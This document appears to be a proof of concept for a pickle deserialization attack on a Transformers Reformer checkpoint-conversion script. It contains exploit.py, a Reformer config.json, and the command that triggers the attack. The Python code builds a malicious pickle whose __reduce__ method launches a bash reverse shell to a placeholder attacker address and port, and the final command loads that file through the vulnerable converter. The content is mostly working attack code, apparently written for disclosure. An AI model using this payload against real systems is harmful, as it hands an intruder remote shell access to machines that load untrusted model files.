# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))  
  
malicious_data = pickle.dumps(Exploit())  
with open('malicious.pkl', 'wb') as f:  
    f.write(malicious_data)  
  
print("Ficheiro pickle malicioso criado com sucesso.")

{  
    "attention_head_size": 64,  
    "attention_probs_dropout_prob": 0.1,  
    "attn_layers": [  
      "local",  
      "lsh",  
      "local",  
      "lsh",  
      "local",  
      "lsh"  
    ],  
    "axial_norm_std": 1.0,  
    "axial_pos_embds": true,  
    "axial_pos_embds_dim": [  
      64,  
      960  
    ],  
    "axial_pos_shape": [  
      64,  
      64  
    ],  
    "chunk_size_lm_head": 0,  
    "classifier_dropout": null,  
    "eos_token_id": 2,  
    "feed_forward_size": 512,  
    "hash_seed": null,  
    "hidden_act": "relu",  
    "hidden_dropout_prob": 0.1,  
    "hidden_size": 1024,  
    "initializer_range": 0.02,  
    "is_decoder": true,  
    "layer_norm_eps": 1e-12,  
    "local_attention_probs_dropout_prob": 0.05,  
    "local_attn_chunk_length": 64,  
    "local_num_chunks_after": 0,  
    "local_num_chunks_before": 1,  
    "lsh_attention_probs_dropout_prob": 0.0,  
    "lsh_attn_chunk_length": 64,  
    "lsh_num_chunks_after": 0,  
    "lsh_num_chunks_before": 1,  
    "max_position_embeddings": 4096,  
    "model_type": "reformer",  
    "num_attention_heads": 16,  
    "num_buckets": null,  
    "num_hashes": 1,  
    "num_hidden_layers": 6,  
    "pad_token_id": 0,  
    "tie_word_embeddings": false,  
    "transformers_version": "4.42.4",  
    "type_vocab_size": 2,  
    "use_cache": true,  
    "vocab_size": 30522  
  }

> python convert_reformer_trax_checkpoint_to_pytorch.py --trax_model_pkl_path malicious.pkl --config_file config.json --pytorch_dump_path .